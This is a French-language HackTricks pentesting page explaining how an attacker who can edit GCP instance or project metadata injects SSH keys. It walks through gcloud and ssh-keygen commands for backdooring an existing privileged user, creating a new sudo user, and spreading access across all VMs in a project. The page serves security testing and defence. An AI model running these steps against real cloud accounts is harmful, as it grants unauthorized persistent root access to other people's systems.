GCP - Add Custom SSH Metadata

GCP - Ajouter des métadonnées SSH personnalisées

Supportez HackTricks

Modification des métadonnées

La modification des métadonnées sur une instance pourrait entraîner des risques de sécurité significatifs si un attaquant obtient les autorisations nécessaires.

Incorporation de clés SSH dans les métadonnées personnalisées

Sur GCP, les systèmes Linux exécutent souvent des scripts à partir de l'Environnement Invité Python Linux pour Google Compute Engine. Un composant critique de cela est le démon des comptes, qui est conçu pour vérifier régulièrement le point de terminaison des métadonnées de l'instance pour des mises à jour des clés publiques SSH autorisées.

Par conséquent, si un attaquant peut modifier les métadonnées personnalisées, il pourrait faire en sorte que le démon trouve une nouvelle clé publique, qui sera traitée et intégrée dans le système local. La clé sera ajoutée au fichier ~/.ssh/authorized_keys d'un utilisateur existant ou potentiellement en créant un nouvel utilisateur avec des privilèges sudo, selon le format de la clé. Et l'attaquant pourra compromettre l'hôte.

Ajouter une clé SSH à un utilisateur privilégié existant

  1. Examiner les clés SSH existantes sur l'instance :

  • Exécutez la commande pour décrire l'instance et ses métadonnées afin de localiser les clés SSH existantes. La section pertinente dans la sortie sera sous metadata, spécifiquement la clé ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Faites attention au format des clés SSH : le nom d'utilisateur précède la clé, séparé par un deux-points.

  1. Préparer un fichier texte pour les métadonnées de la clé SSH :

  • Enregistrez les détails des noms d'utilisateur et de leurs clés SSH correspondantes dans un fichier texte nommé meta.txt. Cela est essentiel pour préserver les clés existantes tout en ajoutant de nouvelles.

  1. Générer une nouvelle clé SSH pour l'utilisateur cible (alice dans cet exemple) :

  • Utilisez la commande ssh-keygen pour générer une nouvelle clé SSH, en vous assurant que le champ de commentaire (-C) correspond au nom d'utilisateur cible.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Ajoutez la nouvelle clé publique à meta.txt, en imitant le format trouvé dans les métadonnées de l'instance.

  1. Mettre à jour les métadonnées de la clé SSH de l'instance :

  • Appliquez les métadonnées de clé SSH mises à jour à l'instance en utilisant la commande gcloud compute instances add-metadata.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Accéder à l'instance en utilisant la nouvelle clé SSH :

  • Connectez-vous à l'instance avec SSH en utilisant la nouvelle clé, accédant au shell dans le contexte de l'utilisateur cible (alice dans cet exemple).

ssh -i ./key alice@localhost
sudo id

Créer un nouvel utilisateur privilégié et ajouter une clé SSH

Si aucun utilisateur intéressant n'est trouvé, il est possible d'en créer un nouveau qui se verra attribuer des privilèges sudo :

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

Clés SSH au niveau du projet

Il est possible d'élargir l'accès SSH à plusieurs machines virtuelles (VM) dans un environnement cloud en appliquant des clés SSH au niveau du projet. Cette approche permet l'accès SSH à toute instance au sein du projet qui n'a pas explicitement bloqué les clés SSH à l'échelle du projet. Voici un guide résumé :

  1. Appliquer des clés SSH au niveau du projet :

  • Utilisez la commande gcloud compute project-info add-metadata pour ajouter des clés SSH depuis meta.txt aux métadonnées du projet. Cette action garantit que les clés SSH sont reconnues sur toutes les VM du projet, sauf si une VM a l'option "Bloquer les clés SSH à l'échelle du projet" activée.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH dans les instances en utilisant des clés à l'échelle du projet :

  • Avec des clés SSH à l'échelle du projet en place, vous pouvez SSH dans n'importe quelle instance au sein du projet. Les instances qui ne bloquent pas les clés à l'échelle du projet accepteront la clé SSH, accordant l'accès.

  • Une méthode directe pour SSH dans une instance est d'utiliser la commande gcloud compute ssh [INSTANCE]. Cette commande utilise votre nom d'utilisateur actuel et les clés SSH définies au niveau du projet pour tenter d'accéder.

Références

Soutenir HackTricks

Last updated